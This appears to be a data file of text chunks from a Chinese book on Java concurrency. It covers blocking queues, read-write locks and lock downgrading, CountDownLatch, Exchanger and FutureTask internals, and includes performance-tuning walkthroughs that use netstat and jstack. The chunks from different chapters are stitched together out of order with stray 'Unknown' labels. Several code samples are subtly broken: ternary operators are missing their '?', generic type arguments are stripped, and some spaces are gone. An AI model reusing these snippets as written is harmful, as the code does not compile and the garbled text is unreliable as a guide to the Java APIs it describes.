    {"text": "public int compareTo(Delayed other) { if (other == this) // compare zero ONLY if same object return 0; if (other instanceof ScheduledFutureTask) { ScheduledFutureTask<> x = (ScheduledFutureTask<>)other; long diff = time - x.time; if (diff < 0) return -1; else if (diff > 0) return 1; else if (sequenceNumber < x.sequenceNumber) return -1; else return 1; } long d = (getDelay(TimeUnit.NANOSECONDS) - other.getDelay(TimeUnit.NANOSECONDS)); return (d == 0) 0 : ((d < 0) -1 : 1); } （2）如何实现延时阻塞队列 延时阻塞队列的实现很简单，当消费者从队列里获取元素时，如果元素没有达到延时时间，就阻塞当前线程。 long delay = first.getDelay(TimeUnit.NANOSECONDS); if (delay <= 0) return q.poll(); else if (leader != null) available.await(); else { Thread thisThread = Thread.currentThread(); leader = thisThread; try { available.awaitNanos(delay); } finally { if (leader == thisThread) leader = null; } } 代码中的变量leader是一个等待获取队列头部元素的线程。"},
    {"text": "所以，使用await()方法让当前线程等待信号。 如果leader等于空，则把当前线程设置成leader，并使用awaitNanos()方法让当前线程等待接收信号或等待delay时间。"},
    {"text": "public SynchronousQueue(boolean fair) { transferer = fair new TransferQueue() : new TransferStack(); } SynchronousQueue可以看成是一个传球手，负责把生产者线程处理的数据直接传递给消费者线程。"},
    {"text": "6.LinkedTransferQueue LinkedTransferQueue是一个由链表结构组成的无界阻塞TransferQueue队列。 相对于其他阻塞队列，LinkedTransferQueue多了tryTransfer和transfer方法。"},
    {"text": "（1）transfer方法 如果当前有消费者正在等待接收元素（消费者使用take()方法或带时间限制的poll()方法时），transfer方法可以把生产者传入的元素立刻transfer（传输）给消费者。 如果没有消费者在等待接收元素，transfer方法会将元素存放在队列的tail节点，并等到该元素被消费者消费了才返回。"},
    {"text": "Node pred = tryAppend(s, haveData); return awaitMatch(s, pred, e, (how == TIMED), nanos); 第一行代码是试图把存放当前元素的s节点作为tail节点。"},
    {"text": "和transfer方法的区别是tryTransfer方法无论消费者是否接收，方法立即返回，而transfer方法是必须等到消费者消费了才返回。 对于带有时间限制的tryTransfer（E e，long timeout，TimeUnit unit）方法，试图把生产者传入的元素直接传给消费者，但是如果没有消费者消费该元素则等待指定的时间再返回，如果超时还没消费元素，则返回false，如果在超时时间内消费了元素，则返回true。"},
    {"text": "相比其他的阻塞队列，LinkedBlockingDeque多了addFirst、addLast、offerFirst、offerLast、peekFirst和peekLast等方法，以First单词结尾的方法，表示插入、获取（peek）或移除双端队列的第一个元素。"},
    {"text": "Unknown 11.3 性能测试 因为要支持某个业务，有同事向我们提出需求，希望系统的某个接口能够支持2万的QPS，因为我们的应用部署在多台机器上，要支持两万的QPS，我们必须先要知道该接口在单机上能支持多少QPS，如果单机能支持1千QPS，我们需要20台机器才能支持2万的QPS。需要注意的是，要支持的2万的QPS必须是峰值，而不能是平均值，比如一天当中有23个小时QPS不足1万，只有一个小时的QPS达到了2万，我们的系统也要支持2万的QPS。 我们先进行性能测试。我们使用公司同事开发的性能测试工具进行测试，该工具的原理是，用户写一个Java程序向服务器端发起请求，这个工具会启动一个线程池来调度这些任务，可以配置同时启动多少个线程、发起请求次数和任务间隔时长。将这个程序部署在多台机器上执行，统计出QPS和响应时长。我们在10台机器上部署了这个测试程序，每台机器启动了100个线程进行测试，压测时长为半小时。注意不能压测线上机器，我们压测的是开发服务器。 测试开始后，首先登录到服务器里查看当前有多少台机器在压测服务器，因为程序的端口是12200，所以使用netstat命令查询有多少台机器连接到这个端口上。命令如下。 $ netstat -nat | grep 12200 –c 10 通过这个命令可以知道已经有10台机器在压测服务器。QPS达到了1400，程序开始报错获取不到数据库连接，因为我们的数据库端口是3306，用netstat命令查看已经使用了多少个数据库连接。命令如下。 $ netstat -nat | grep 3306 –c 12 增加数据库连接到20，QPS没上去，但是响应时长从平均1000毫秒下降到700毫秒，使用TOP命令观察CPU利用率，发现已经90%多了，于是升级CPU，将2核升级成4核，和线上的机器保持一致。再进行压测，CPU利用率下去了达到了75%，QPS上升到了1800。执行一段时间后响应时长稳定在200毫秒。 增加应用服务器里线程池的核心线程数和最大线程数到1024，通过ps命令查看下线程数是否增长了，执行的命令如下。 $ ps -eLf | grep java -c 1520 再次压测，QPS并没有明显的增长，单机QPS稳定在1800左右，响应时长稳定在200毫秒。 我在性能测试之前先优化了程序的SQL语句。使用了如下命令统计执行最慢的SQL，左边的是执行时长，单位是毫秒，右边的是执行的语句，可以看到系统执行最慢的SQL是queryNews和queryNewIds，优化到几十毫秒。 $ grep Y /home/admin/logs/xxx/monitor/dal-rw-monitor.log |awk -F',' '{print $7$5}' | sort -nr|head -20 1811 queryNews 1764 queryNews 1740 queryNews 1697 queryNews 679 queryNewIds 性能测试中使用的其他命令 1）查看网络流量。 $ cat /proc/net/dev Inter-| Receive | Transmit face |bytes packets errs drop fifo frame compressed multicast|bytes packets errs drop fifo colls carrier compressed lo:242953548208 231437133 0 0 0 0 0 0 242953548208 231437133 0 0 0 0 0 0 eth0:153060432504 446365779 0 0 0 0 0 0 108596061848 479947142 0 0 0 0 0 0 bond0:153060432504 446365779 0 0 0 0 0 0 108596061848 479947142 0 0 0 0 0 0 2）查看系统平均负载。 $ cat /proc/loadavg 0.00 0.04 0.85 1/1266 22459 3）查看系统内存情况。 $ cat /proc/meminfo MemTotal: 4106756 kB MemFree: 71196 kB Buffers: 12832 kB Cached: 2603332 kB SwapCached: 4016 kB Active: 2303768 kB Inactive: 1507324 kB Active(anon): 996100 kB 部分省略 4）查看CPU的利用率。 cat /proc/stat cpu 167301886 6156 331902067 17552830039 8645275 13082 1044952 33931469 0 cpu0 45406479 1992 75489851 4410199442 7321828 12872 688837 5115394 0 cpu1 39821071 1247 132648851 4319596686 379255 67 132447 11365141 0 cpu2 40912727 1705 57947971 4418978718 389539 78 110994 8342835 0 cpu3 41161608 1211 65815393 4404055191 554651 63 112672 9108097 0 Unknown 10.5 本章小结 本章介绍了Executor框架的整体结构和成员组件。希望读者阅读本章之后，能够对Executor框架有一个比较深入的理解，同时也希望本章内容有助于读者更熟练地使用Executor框架。"},
    {"text": "Unknown 10.4.1 FutureTask简介 FutureTask除了实现Future接口外，还实现了Runnable接口。因此，FutureTask可以交给Executor执行，也可以由调用线程直接执行（FutureTask.run()）。根据FutureTask.run()方法被执行的时机，FutureTask可以处于下面3种状态。 1）未启动。FutureTask.run()方法还没有被执行之前，FutureTask处于未启动状态。当创建一个FutureTask，且没有执行FutureTask.run()方法之前，这个FutureTask处于未启动状态。 2）已启动。FutureTask.run()方法被执行的过程中，FutureTask处于已启动状态。 3）已完成。FutureTask.run()方法执行完后正常结束，或被取消（FutureTask.cancel（…）），或执行FutureTask.run()方法时抛出异常而异常结束，FutureTask处于已完成状态。 图10-12是FutureTask的状态迁移的示意图。 图10-12 FutureTask的状态迁移示意图 当FutureTask处于未启动或已启动状态时，执行FutureTask.get()方法将导致调用线程阻塞；当FutureTask处于已完成状态时，执行FutureTask.get()方法将导致调用线程立即返回结果或抛出异常。 当FutureTask处于未启动状态时，执行FutureTask.cancel()方法将导致此任务永远不会被执行；当FutureTask处于已启动状态时，执行FutureTask.cancel（true）方法将以中断执行此任务线程的方式来试图停止任务；当FutureTask处于已启动状态时，执行FutureTask.cancel（false）方法将不会对正在执行此任务的线程产生影响（让正在执行的任务运行完成）；当FutureTask处于已完成状态时，执行FutureTask.cancel（…）方法将返回false。 图10-13是get方法和cancel方法的执行示意图。 图10-13 FutureTask的get和cancel的执行示意图 Unknown 第8章 Java中的并发工具类 在JDK的并发包里提供了几个非常有用的并发工具类。CountDownLatch、CyclicBarrier和Semaphore工具类提供了一种并发流程控制的手段，Exchanger工具类则提供了在线程间交换数据的一种手段。本章会配合一些应用场景来介绍如何使用这些工具类。 Unknown 第4章 Java并发编程基础 Java从诞生开始就明智地选择了内置对多线程的支持，这使得Java语言相比同一时期的其他语言具有明显的优势。线程作为操作系统调度的最小单元，多个线程能够同时执行，这将显著提升程序性能，在多核环境中表现得更加明显。但是，过多地创建线程和对线程的不当管理也容易造成问题。本章将着重介绍Java并发编程的基础知识，从启动一个线程到线程间不同的通信方式，最后通过简单的线程池示例以及应用（简单的Web服务器）来串联本章所介绍的内容。"},
    {"text": "Unknown 11.1.1 生产者消费者模式实战 我和同事一起利用业余时间开发的Yuna工具中使用了生产者和消费者模式。我先介绍下Yuna [1] 工具，在阿里巴巴很多同事都喜欢通过邮件分享技术文章，因为通过邮件分享很方便，大家在网上看到好的技术文章，执行复制→粘贴→发送就完成了一次分享，但是我发现技术文章不能沉淀下来，新来的同事看不到以前分享的技术文章，大家也很难找到以前分享过的技术文章。为了解决这个问题，我们开发了一个Yuna工具。 我们申请了一个专门用来收集分享邮件的邮箱，比如share@alibaba.com，大家将分享的文章发送到这个邮箱，让大家每次都抄送到这个邮箱肯定很麻烦，所以我们的做法是将这个邮箱地址放在部门邮件列表里，所以分享的同事只需要和以前一样向整个部门分享文章就行。Yuna工具通过读取邮件服务器里该邮箱的邮件，把所有分享的邮件下载下来，包括邮件的附件、图片和邮件回复。因为我们可能会从这个邮箱里下载到一些非分享的文章，所以我们要求分享的邮件标题必须带有一个关键字，比如“内贸技术分享”。下载完邮件之后，通过confluence的Web Service接口，把文章插入到confluence里，这样新同事就可以在confluence里看以前分享过的文章了，并且Yuna工具还可以自动把文章进行分类和归档。 为了快速上线该功能，当时我们花了3天业余时间快速开发了Yuna 1.0版本。在1.0版本中并没有使用生产者消费模式，而是使用单线程来处理，因为当时只需要处理我们一个部门的邮件，所以单线程明显够用，整个过程是串行执行的。在一个线程里，程序先抽取全部的邮件，转化为文章对象，然后添加全部的文章，最后删除抽取过的邮件。代码如下。 public void extract() { logger.debug(\"开始\" + getExtractorName() + \"。。\"); // 抽取邮件 List<Article> articles = extractEmail(); // 添加文章 for (Article article : articles) { addArticleOrComment(article); } // 清空邮件 cleanEmail(); logger.debug(\"完成\" + getExtractorName() + \"。。\"); } Yuna工具在推广后，越来越多的部门使用这个工具，处理的时间越来越慢，Yuna是每隔5分钟进行一次抽取的，而当邮件多的时候一次处理可能就花了几分钟，于是我在Yuna 2.0版本里使用了生产者消费者模式来处理邮件，首先生产者线程按一定的规则去邮件系统里抽取邮件，然后存放在阻塞队列里，消费者从阻塞队列里取出文章后插入到conflunce里。代码如下。 public class QuickEmailToWikiExtractor extends AbstractExtractor { private ThreadPoolExecutor threadsPool; private ArticleBlockingQueue<ExchangeEmailShallowDTO> emailQueue; public QuickEmailToWikiExtractor() { emailQueue= new ArticleBlockingQueue<ExchangeEmailShallowDTO>(); int corePoolSize = Runtime.getRuntime().availableProcessors() * 2; threadsPool = new ThreadPoolExecutor(corePoolSize, corePoolSize, 10l, TimeUnit. SECONDS, new LinkedBlockingQueue<Runnable>(2000)); } public void extract() { logger.debug(\"开始\" + getExtractorName() + \"。。\"); long start = System.currentTimeMillis(); // 抽取所有邮件放到队列里 new ExtractEmailTask().start(); // 把队列里的文章插入到Wiki insertToWiki(); long end = System.currentTimeMillis(); double cost = (end - start) / 1000; logger.debug(\"完成\" + getExtractorName() + \",花费时间：\" + cost + \"秒\"); } /** * 把队列里的文章插入到Wiki */ private void insertToWiki() { // 登录Wiki,每间隔一段时间需要登录一次 confluenceService.login(RuleFactory.USER_NAME, RuleFactory.PASSWORD); while (true) { // 2秒内取不到就退出 ExchangeEmailShallowDTO email = emailQueue.poll(2, TimeUnit.SECONDS); if (email == null) { break; } threadsPool.submit(new insertToWikiTask(email)); } } protected List<Article> extractEmail() { List<ExchangeEmailShallowDTO> allEmails = getEmailService().queryAllEmails(); if (allEmails == null) { return null; } for (ExchangeEmailShallowDTO exchangeEmailShallowDTO : allEmails) { emailQueue.offer(exchangeEmailShallowDTO); } return null; } /** * 抽取邮件任务 * * @author tengfei.fangtf */ public class ExtractEmailTask extends Thread { public void run() { extractEmail(); } } } 代码的执行逻辑是，生产者启动一个线程把所有邮件全部抽取到队列中，消费者启动CPU*2个线程数处理邮件，从之前的单线程处理邮件变成了现在的多线程处理，并且抽取邮件的线程不需要等处理邮件的线程处理完再抽取新邮件，所以使用了生产者和消费者模式后，邮件的整体处理速度比以前要快了几倍。 [1] Yuna取名自我非常喜欢的一款RPG游戏《最终幻想》中女主角的名字。"},
    {"text": "Unknown 1.1.4 减少上下文切换实战 本节将通过减少线上大量WAITING的线程，来减少上下文切换次数。 第一步： 用jstack命令dump线程信息，看看pid为3117的进程里的线程都在做什么。 sudo -u admin /opt/ifeve/java/bin/jstack 31177 > /home/tengfei.fangtf/dump17 第二步： 统计所有线程分别处于什么状态，发现300多个线程处于WAITING（onobject-monitor）状态。 [tengfei.fangtf@ifeve ~]$ grep java.lang.Thread.State dump17 | awk '{print $2$3$4$5}' | sort | uniq -c 39 RUNNABLE 21 TIMED_WAITING(onobjectmonitor) 6 TIMED_WAITING(parking) 51 TIMED_WAITING(sleeping) 305 WAITING(onobjectmonitor) 3 WAITING(parking) 第三步： 打开dump文件查看处于WAITING（onobjectmonitor）的线程在做什么。发现这些线程基本全是JBOSS的工作线程，在await。说明JBOSS线程池里线程接收到的任务太少，大量线程都闲着。 \"http-0.0.0.0-7001-97\" daemon prio=10 tid=0x000000004f6a8000 nid=0x555e in Object.wait() [0x0000000052423000] java.lang.Thread.State: WAITING (on object monitor) at java.lang.Object.wait(Native Method) - waiting on <0x00000007969b2280> (a org.apache.tomcat.util.net.AprEndpoint$Worker) at java.lang.Object.wait(Object.java:485) at org.apache.tomcat.util.net.AprEndpoint$Worker.await(AprEndpoint.java:1464) - locked <0x00000007969b2280> (a org.apache.tomcat.util.net.AprEndpoint$Worker) at org.apache.tomcat.util.net.AprEndpoint$Worker.run(AprEndpoint.java:1489) at java.lang.Thread.run(Thread.java:662) 第四步： 减少JBOSS的工作线程数，找到JBOSS的线程池配置信息，将maxThreads降到100。 <maxThreads=\"250\" maxHttpHeaderSize=\"8192\" emptySessionPath=\"false\" minSpareThreads=\"40\" maxSpareThreads=\"75\" maxPostSize=\"512000\" protocol=\"HTTP/1.1\" enableLookups=\"false\" redirectPort=\"8443\" acceptCount=\"200\" bufferSize=\"16384\" connectionTimeout=\"15000\" disableUploadTimeout=\"false\" useBodyEncodingForURI= \"true\"> 第五步：重启JBOSS，再dump线程信息，然后统计WAITING（onobjectmonitor）的线程，发现减少了175个。WAITING的线程少了，系统上下文切换的次数就会少，因为每一次从WAITTING到RUNNABLE都会进行一次上下文的切换。读者也可以使用vmstat命令测试一下。 [tengfei.fangtf@ifeve ~]$ grep java.lang.Thread.State dump17 | awk '{print $2$3$4$5}' | sort | uniq -c 44 RUNNABLE 22 TIMED_WAITING(onobjectmonitor) 9 TIMED_WAITING(parking) 36 TIMED_WAITING(sleeping) 130 WAITING(onobjectmonitor) 1 WAITING(parking) Unknown 2.2.1 Java对象头 synchronized用的锁是存在Java对象头里的。如果对象是数组类型，则虚拟机用3个字宽（Word）存储对象头，如果对象是非数组类型，则用2字宽存储对象头。在32位虚拟机中，1字宽等于4字节，即32bit，如表2-2所示。 表2-2 Java对象头的长度 Java对象头里的Mark Word里默认存储对象的HashCode、分代年龄和锁标记位。32位JVM的Mark Word的默认存储结构如表2-3所示。 表2-3 Java对象头的存储结构 在运行期间，Mark Word里存储的数据会随着锁标志位的变化而变化。Mark Word可能变化为存储以下4种数据，如表2-4所示。 表2-4 Mark Word的状态变化 在64位虚拟机下，Mark Word是64bit大小的，其存储结构如表2-5所示。 表2-5 Mark Word的存储结构"},
    {"text": "Unknown 5.4.2 读写锁的实现分析 接下来分析ReentrantReadWriteLock的实现，主要包括：读写状态的设计、写锁的获取与释放、读锁的获取与释放以及锁降级（以下没有特别说明读写锁均可认为是ReentrantReadWriteLock）。"},
    {"text": "1.读写状态的设计 读写锁同样依赖自定义同步器来实现同步功能，而读写状态就是其同步器的同步状态。 回想ReentrantLock中自定义同步器的实现，同步状态表示锁被一个线程重复获取的次数，而读写锁的自定义同步器需要在同步状态（一个整型变量）上维护多个读线程和一个写线程的状态，使得该状态的设计成为读写锁实现的关键。"},
    {"text": "如果在一个整型变量上维护多种状态，就一定需要“按位切割使用”这个变量，读写锁将变量切分成了两个部分，高16位表示读，低16位表示写，划分方式如图5-8所示。"},
    {"text": "假设当前同步状态值为S，写状态等于S&0x0000FFFF（将高16位全部抹去），读状态等于S>>>16（无符号补0右移16位）。 当写状态增加1时，等于S+1，当读状态增加1时，等于S+(1<<16)，也就是S+0x00010000。 根据状态的划分能得出一个推论：S不等于0时，当写状态（S&0x0000FFFF）等于0时，则读状态（S>>>16）大于0，即读锁已被获取。"},
    {"text": "如果当前线程已经获取了写锁，则增加写状态。 如果当前线程在获取写锁时，读锁已经被获取（读状态不为0）或者该线程不是已经获取写锁的线程，则当前线程进入等待状态，获取写锁的代码如代码清单5-17所示。"},
    {"text": "代码清单5-17 ReentrantReadWriteLock的tryAcquire方法 protected final boolean tryAcquire(int acquires) { Thread current = Thread.currentThread(); int c = getState(); int w = exclusiveCount(c); if (c != 0) { // 存在读锁或者当前获取线程不是已经获取写锁的线程 if (w == 0 || current != getExclusiveOwnerThread()) return false; if (w + exclusiveCount(acquires) > MAX_COUNT) throw new Error(\"Maximum lock count exceeded\"); setState(c + acquires); return true; } if (writerShouldBlock() || !compareAndSetState(c, c + acquires)) { return false; } setExclusiveOwnerThread(current); return true; } 该方法除了重入条件（当前线程为获取了写锁的线程）之外，增加了一个读锁是否存在的判断。"},
    {"text": "如果存在读锁，则写锁不能被获取，原因在于：读写锁要确保写锁的操作对读锁可见，如果允许读锁在已被获取的情况下对写锁的获取，那么正在运行的其他读线程就无法感知到当前写线程的操作。 因此，只有等待其他读线程都释放了读锁，写锁才能被当前线程获取，而写锁一旦被获取，则其他读写线程的后续访问均被阻塞。 写锁的释放与ReentrantLock的释放过程基本类似，每次释放均减少写状态，当写状态为0时表示写锁已被释放，从而等待的读写线程能够继续访问读写锁，同时前次写线程的修改对后续读写线程可见。 3.读锁的获取与释放 读锁是一个支持重进入的共享锁，它能够被多个线程同时获取，在没有其他写线程访问（或者写状态为0）时，读锁总会被成功地获取，而所做的也只是（线程安全的）增加读状态。 如果当前线程已经获取了读锁，则增加读状态。 如果当前线程在获取读锁时，写锁已被其他线程获取，则进入等待状态。"},
    {"text": "获取读锁的实现从Java 5到Java 6变得复杂许多，主要原因是新增了一些功能，例如getReadHoldCount()方法，作用是返回当前线程获取读锁的次数。 读状态是所有线程获取读锁次数的总和，而每个线程各自获取读锁的次数只能选择保存在ThreadLocal中，由线程自身维护，这使获取读锁的实现变得复杂。"},
    {"text": "代码清单5-18 ReentrantReadWriteLock的tryAcquireShared方法 protected final int tryAcquireShared(int unused) { for (;;) { int c = getState(); int nextc = c + (1 << 16); if (nextc < c) throw new Error(\"Maximum lock count exceeded\"); if (exclusiveCount(c) != 0 && owner != Thread.currentThread()) return -1; if (compareAndSetState(c, nextc)) return 1; } } 在tryAcquireShared(int unused)方法中，如果其他线程已经获取了写锁，则当前线程获取读锁失败，进入等待状态。"},
    {"text": "如果当前线程获取了写锁或者写锁未被获取，则当前线程（线程安全，依靠CAS保证）增加读状态，成功获取读锁。 读锁的每次释放（线程安全的，可能有多个读线程同时释放读锁）均减少读状态，减少的值是（1<<16）。"},
    {"text": "4.锁降级 锁降级指的是写锁降级成为读锁。 如果当前线程拥有写锁，然后将其释放，最后再获取读锁，这种分段完成的过程不能称之为锁降级。 锁降级是指把持住（当前拥有的）写锁，再获取到读锁，随后释放（先前拥有的）写锁的过程。 接下来看一个锁降级的示例。"},
    {"text": "因为数据不常变化，所以多个线程可以并发地进行数据处理，当数据变更后，如果当前线程感知到数据变化，则进行数据的准备工作，同时其他处理线程被阻塞，直到当前线程完成数据的准备工作，如代码清单5-19所示。"},
    {"text": "代码清单5-19 processData方法 public void processData() { readLock.lock(); if (!update) { // 必须先释放读锁 readLock.unlock(); // 锁降级从写锁获取到开始 writeLock.lock(); try { if (!update) { // 准备数据的流程（略） update = true; } readLock.lock(); } finally { writeLock.unlock(); } // 锁降级完成，写锁降级为读锁 } try { // 使用数据的流程（略） } finally { readLock.unlock(); } } 上述示例中，当数据发生变更后，update变量（布尔类型且volatile修饰）被设置为false，此时所有访问processData()方法的线程都能够感知到变化，但只有一个线程能够获取到写锁，其他线程会被阻塞在读锁和写锁的lock()方法上。 当前线程获取写锁完成数据准备之后，再获取读锁，随后释放写锁，完成锁降级。"},
    {"text": "主要是为了保证数据的可见性，如果当前线程不获取读锁而是直接释放写锁，假设此刻另一个线程（记作线程T）获取了写锁并修改了数据，那么当前线程无法感知线程T的数据更新。 如果当前线程获取读锁，即遵循锁降级的步骤，则线程T将会被阻塞，直到当前线程使用数据并释放读锁之后，线程T才能获取写锁进行数据更新。"},
    {"text": "目的也是保证数据可见性，如果读锁已被多个线程获取，其中任意线程成功获取了写锁并更新了数据，则其更新对其他获取到读锁的线程是不可见的。"},
    {"text": "Unknown 8.4 线程间交换数据的Exchanger Exchanger（交换者）是一个用于线程间协作的工具类。Exchanger用于进行线程间的数据交换。它提供一个同步点，在这个同步点，两个线程可以交换彼此的数据。这两个线程通过exchange方法交换数据，如果第一个线程先执行exchange()方法，它会一直等待第二个线程也执行exchange方法，当两个线程都到达同步点时，这两个线程就可以交换数据，将本线程生产出来的数据传递给对方。 下面来看一下Exchanger的应用场景。 Exchanger可以用于遗传算法 ，遗传算法里需要选出两个人作为交配对象，这时候会交换两人的数据，并使用交叉规则得出2个交配结果。 Exchanger也可以用于校对工作 ，比如我们需要将纸制银行流水通过人工的方式录入成电子银行流水，为了避免错误，采用AB岗两人进行录入，录入到Excel之后，系统需要加载这两个Excel，并对两个Excel数据进行校对，看看是否录入一致，代码如代码清单8-8所示。 代码清单8-8 ExchangerTest.java public class ExchangerTest { private static final Exchanger<String>exgr = new Exchanger<String>(); private static ExecutorServicethreadPool = Executors.newFixedThreadPool(2); public static void main(String[] args) { threadPool.execute(new Runnable() { @Override public void run() { try { String A = \"银行流水A\"; // A录入银行流水数据 exgr.exchange(A); } catch (InterruptedException e) { } } }); threadPool.execute(new Runnable() { @Override public void run() { try { String B = \"银行流水B\"; // B录入银行流水数据 String A = exgr.exchange(\"B\"); System.out.println(\"A和B数据是否一致：\" + A.equals(B) + \"，A录入的是：\" + A + \"，B录入是：\" + B); } catch (InterruptedException e) { } } }); threadPool.shutdown(); } } 如果两个线程有一个没有执行exchange()方法，则会一直等待，如果担心有特殊情况发生，避免一直等待，可以使用exchange（V x，longtimeout，TimeUnit unit）设置最大等待时长。 Unknown 3.4 volatile的内存语义 当声明共享变量为volatile后，对这个变量的读/写将会很特别。为了揭开volatile的神秘面纱，下面将介绍volatile的内存语义及volatile内存语义的实现。 Unknown 4.5 本章小结 本章从介绍多线程技术带来的好处开始，讲述了如何启动和终止线程以及线程的状态，详细阐述了多线程之间进行通信的基本方式和等待/通知经典范式。在线程应用示例中，使用了等待超时、数据库连接池以及简单线程池3个不同的示例巩固本章前面章节所介绍的Java多线程基础知识。最后通过一个简单的Web服务器将上述知识点串联起来，加深我们对这些知识点的理解。 Unknown 9.2.3 关闭线程池 可以通过调用线程池的shutdown或shutdownNow方法来关闭线程池。它们的原理是遍历线程池中的工作线程，然后逐个调用线程的interrupt方法来中断线程，所以无法响应中断的任务可能永远无法终止。但是它们存在一定的区别，shutdownNow首先将线程池的状态设置成STOP，然后尝试停止所有的正在执行或暂停任务的线程，并返回等待执行任务的列表，而shutdown只是将线程池的状态设置成SHUTDOWN状态，然后中断所有没有正在执行任务的线程。 只要调用了这两个关闭方法中的任意一个，isShutdown方法就会返回true。当所有的任务都已关闭后，才表示线程池关闭成功，这时调用isTerminaed方法会返回true。至于应该调用哪一种方法来关闭线程池，应该由提交到线程池的任务特性决定，通常调用shutdown方法来关闭线程池，如果任务不一定要执行完，则可以调用shutdownNow方法。"},
    {"text": "Unknown 6.3.1 什么是阻塞队列 阻塞队列（BlockingQueue）是一个支持两个附加操作的队列。这两个附加的操作支持阻塞的插入和移除方法。 1）支持阻塞的插入方法：意思是当队列满时，队列会阻塞插入元素的线程，直到队列不满。 2）支持阻塞的移除方法：意思是在队列为空时，获取元素的线程会等待队列变为非空。 阻塞队列常用于生产者和消费者的场景，生产者是向队列里添加元素的线程，消费者是从队列里取元素的线程。阻塞队列就是生产者用来存放元素、消费者用来获取元素的容器。 在阻塞队列不可用时，这两个附加操作提供了4种处理方式，如表6-1所示。 表6-1 插入和移除操作的4中处理方式 ·抛出异常：当队列满时，如果再往队列里插入元素，会抛出IllegalStateException（\"Queue full\"）异常。当队列空时，从队列里获取元素会抛出NoSuchElementException异常。 ·返回特殊值：当往队列插入元素时，会返回元素是否插入成功，成功返回true。如果是移除方法，则是从队列里取出一个元素，如果没有则返回null。 ·一直阻塞：当阻塞队列满时，如果生产者线程往队列里put元素，队列会一直阻塞生产者线程，直到队列可用或者响应中断退出。当队列空时，如果消费者线程从队列里take元素，队列会阻塞住消费者线程，直到队列不为空。 ·超时退出：当阻塞队列满时，如果生产者线程往队列里插入元素，队列会阻塞生产者线程一段时间，如果超过了指定的时间，生产者线程就会退出。 这两个附加操作的4种处理方式不方便记忆，所以我找了一下这几个方法的规律。put和take分别尾首含有字母t，offer和poll都含有字母o。 注意 如果是无界阻塞队列，队列不可能会出现满的情况，所以使用put或offer方法永远不会被阻塞，而且使用offer方法时，该方法永远返回true。 Unknown 8.1 等待多线程完成的CountDownLatch CountDownLatch允许一个或多个线程等待其他线程完成操作。 假如有这样一个需求：我们需要解析一个Excel里多个sheet的数据，此时可以考虑使用多线程，每个线程解析一个sheet里的数据，等到所有的sheet都解析完之后，程序需要提示解析完成。在这个需求中，要实现主线程等待所有线程完成sheet的解析操作，最简单的做法是使用join()方法，如代码清单8-1所示。 代码清单8-1 JoinCountDownLatchTest.java public class JoinCountDownLatchTest { public static void main(String[] args) throws InterruptedException { Thread parser1 = new Thread(new Runnable() { @Override public void run() { } }); Thread parser2 = new Thread(new Runnable() { @Override public void run() { System.out.println(\"parser2 finish\"); } }); parser1.start(); parser2.start(); parser1.join(); parser2.join(); System.out.println(\"all parser finish\"); } } join用于让当前执行线程等待join线程执行结束。其实现原理是不停检查join线程是否存活，如果join线程存活则让当前线程永远等待。其中，wait（0）表示永远等待下去，代码片段如下。 while (isAlive()) { wait(0); } 直到join线程中止后，线程的this.notifyAll()方法会被调用，调用notifyAll()方法是在JVM里实现的，所以在JDK里看不到，大家可以查看JVM源码。 在JDK 1.5之后的并发包中提供的CountDownLatch也可以实现join的功能，并且比join的功能更多，如代码清单8-2所示。 代码清单8-2 CountDownLatchTest.java public class CountDownLatchTest { staticCountDownLatch c = new CountDownLatch(2); public static void main(String[] args) throws InterruptedException { new Thread(new Runnable() { @Override public void run() { System.out.println(1); c.countDown(); System.out.println(2); c.countDown(); } }).start(); c.await(); System.out.println(\"3\"); } } CountDownLatch的构造函数接收一个int类型的参数作为计数器，如果你想等待N个点完成，这里就传入N。 当我们调用CountDownLatch的countDown方法时，N就会减1，CountDownLatch的await方法会阻塞当前线程，直到N变成零。由于countDown方法可以用在任何地方，所以这里说的N个点，可以是N个线程，也可以是1个线程里的N个执行步骤。用在多个线程时，只需要把这个CountDownLatch的引用传递到线程里即可。 如果有某个解析sheet的线程处理得比较慢，我们不可能让主线程一直等待，所以可以使用另外一个带指定时间的await方法——await（long time，TimeUnit unit），这个方法等待特定时间后，就会不再阻塞当前线程。join也有类似的方法。 注意 计数器必须大于等于0，只是等于0时候，计数器就是零，调用await方法时不会阻塞当前线程。CountDownLatch不可能重新初始化或者修改CountDownLatch对象的内部计数器的值。一个线程调用countDown方法happen-before，另外一个线程调用await方法。"},
    {"text": "Unknown 10.4.3 FutureTask的实现 FutureTask的实现基于AbstractQueuedSynchronizer（以下简称为AQS）。java.util.concurrent中的很多可阻塞类（比如ReentrantLock）都是基于AQS来实现的。AQS是一个同步框架，它提供通用机制来原子性管理同步状态、阻塞和唤醒线程，以及维护被阻塞线程的队列。JDK 6中AQS被广泛使用，基于AQS实现的同步器包括：ReentrantLock、Semaphore、ReentrantReadWriteLock、CountDownLatch和FutureTask。 每一个基于AQS实现的同步器都会包含两种类型的操作，如下。 ·至少一个acquire操作。这个操作阻塞调用线程，除非/直到AQS的状态允许这个线程继续执行。FutureTask的acquire操作为get()/get（long timeout，TimeUnit unit）方法调用。 ·至少一个release操作。这个操作改变AQS的状态，改变后的状态可允许一个或多个阻塞线程被解除阻塞。FutureTask的release操作包括run()方法和cancel（…）方法。 基于“复合优先于继承”的原则，FutureTask声明了一个内部私有的继承于AQS的子类Sync，对FutureTask所有公有方法的调用都会委托给这个内部子类。 AQS被作为“模板方法模式”的基础类提供给FutureTask的内部子类Sync，这个内部子类只需要实现状态检查和状态更新的方法即可，这些方法将控制FutureTask的获取和释放操作。具体来说，Sync实现了AQS的tryAcquireShared（int）方法和tryReleaseShared（int）方法，Sync通过这两个方法来检查和更新同步状态。 FutureTask的设计示意图如图10-15所示。 图10-15 FutureTask的设计示意图 如图所示，Sync是FutureTask的内部私有类，它继承自AQS。创建FutureTask时会创建内部私有的成员对象Sync，FutureTask所有的的公有方法都直接委托给了内部私有的Sync。 FutureTask.get()方法会调用AQS.acquireSharedInterruptibly（int arg）方法，这个方法的执行过程如下。 1）调用AQS.acquireSharedInterruptibly（int arg）方法，这个方法首先会回调在子类Sync中实现的tryAcquireShared()方法来判断acquire操作是否可以成功。acquire操作可以成功的条件为：state为执行完成状态RAN或已取消状态CANCELLED，且runner不为null。 2）如果成功则get()方法立即返回。如果失败则到线程等待队列中去等待其他线程执行release操作。 3）当其他线程执行release操作（比如FutureTask.run()或FutureTask.cancel（…））唤醒当前线程后，当前线程再次执行tryAcquireShared()将返回正值1，当前线程将离开线程等待队列并唤醒它的后继线程（这里会产生级联唤醒的效果，后面会介绍）。 4）最后返回计算的结果或抛出异常。 